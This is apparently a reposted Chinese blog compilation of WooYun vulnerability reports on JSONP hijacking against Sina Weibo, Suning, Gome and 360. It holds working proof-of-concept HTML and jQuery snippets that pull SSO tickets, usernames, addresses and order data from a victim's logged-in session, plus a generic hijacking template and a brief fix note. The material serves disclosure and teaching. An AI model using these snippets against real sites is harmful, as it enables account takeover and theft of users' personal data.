zoukankan      html  css  js  c++  java
  • 乌云jsonp案例

    新浪微博之点击我的链接就登录你的微博(JSONP劫持)

    生活处处有惊喜啊!逛逛wooyun都能捡到bug. 测试的时候没关burp,逛乌云的时候抓到一条url:

    http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253


    当returntype=TEXT时,返回的是jsonp格式:

    sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});


    将ticket,uid,昵称都返回来了。
    有了ticket之后,利用与 WooYun: 新浪微博之点击我的链接就登录你的微博(XSS敏感域) 一样。
    替换url中的ticket然后访问就会设置认证cookie:

    http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0

     

    cookie.png

     


    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <html>
    <h4><center>weibo jsonp劫持演示</center></h4>
    <body>
    <script>
    var test = function(obj){
    alert('uid: ' + obj.uid);
    alert('nickname: ' + obj.nick);
    alert('ticket: ' + obj.ticket);
    }
    var s=document.createElement('script');
    s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
    document.body.appendChild(s);
    </script>
    </body>
    </html>


    登录状态访问:

    http://pysandbox.sinaapp.com/kv?act=get&k=weibo_jsonp

     

    苏宁易购多接口问题可泄露用户姓名、地址、订单商品(jsonp案例)

     苏宁易购基本所有jsonp接口都没有做防护,导致第三方网站可调用苏宁的jsonp接口获取到用户敏感信息
    获取用户登陆状态的接口[是否登陆,会员编号] http://my.suning.com/authStatus?callback=jQuery17206592
    获取用户个人信息的接口[加星的邮箱,用户级别,用户安全等级等] http://my.suning.com/memberInfoPageHead.do?callback=jQuery1720402
    获取用户订单信息[下单时间,订单号,订单商品,订单金额,订单状态等] http://www.suning.com/emall/myShoppingOrderCmd?itemNum=3&callback=jQuery1720659299
    获取用户地址簿接口[所有姓名、住址、加星手机号] http://my.suning.com/address.do?callback=jQuery172081
    可能还有一些涉及用户隐私信息的接口我没发现,自查吧

     

    POC

    测试方法:
    在任何引入了jquery的第三方域名的console里输入如下内容,如果可以显示出用户隐私信息,那么就存在问题
    $.ajax({type:"get",url:"http://my.suning.com/authStatus",dataType:"jsonp",jsonp:"callback",success:function(json){console.log('下面是获取到的内容');console.log(json);console.log('上面是在获取到的内容');}});
    例如下图是在news.baidu.com获取到的证明截图[一屏幕]

    sn.png


    下图是获取到的地址簿截图[地址簿是josnp接口返回html内容,然后js把html插入dom,所以我直接console.log了html内容]

    sn2.png

     

    修复方案

    要么加token,要么验证refer

    国美在线多接口问题可泄露用户姓名、地址、电话等(json劫持实现)

     多个jsonp接口无安全措施可泄露用户敏感信息
    获取购物车商品接口 http://g.gome.com.cn/ec/homeus/support/add.jsp?callback=jQuery17&method=homeus.checkAllItem&params=%7B%22time%22%3A1433603338755%7D
    获取当前登陆国美的用户接口 http://g.gome.com.cn/ec/homeus/navigation/gome/index/loginStyle.jsp?callback=logintop
    获取用户待支付数、待评价数、优惠券数等信息的接口 http://g.gome.com.cn/ec/homeus/n/topMygome.jsp?callback=topMygome
    获取用户地址簿的接口 http://member.gome.com.cn/myaccount/address/getSecondaryAddress?timer=1433606988720&callback=ckdata
    可能还有其他涉及用户敏感信息的jsonp接口我没发现,自查吧

    在其他网站引入jquery后在console输入如下内容即可验证是否存在

    $.ajax({type:"get",url:"http://member.gome.com.cn/myaccount/address/getSecondaryAddress?timer=1433606988720",dataType:"jsonp",jsonp:"callback",jsonpCallback:"ckdata",success:function(json){console.log('下面是在百度域名下获取到国美的内容');console.log(json);console.log('上面是在百度域名下获取到国美的内容');}});


    下面是证明截图

    gm.png

     

    360某json hijacking(只要你登陆访问,我就知道你的用户名,邮箱)

    <script>
    function wooyun(v)
    {
    alert(v.username);
    }
    </script>
    <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

     

     

    总结:

    利用常用poc:
    <script>
    function wooyun(a){
    alert(a.uin);
    }
    </script>
    <script src=http://xx.com/x?callback=wooyun></script>
    json接口可随意请求,poc代码劫持点击
  • 相关阅读:
    c#接口和抽象类的区别(转)
    Dephi阿拉伯数字转换成英文和中文大写
    Code Rush Express Template 制作
    SQL中对学习成绩自动排名次
    Resharper上手指南
    如何實現域控制中部分用戶可以寫Programme files目錄的權限?
    阿拉伯数字转换英文数字表示算法解析及其实现
    BOM 算法
    OGRE1.7.1.1vs2008安装
    近一个月工作小总结
  • 原文地址:https://www.cnblogs.com/junsec/p/11942210.html
Copyright © 2011-2022 走看看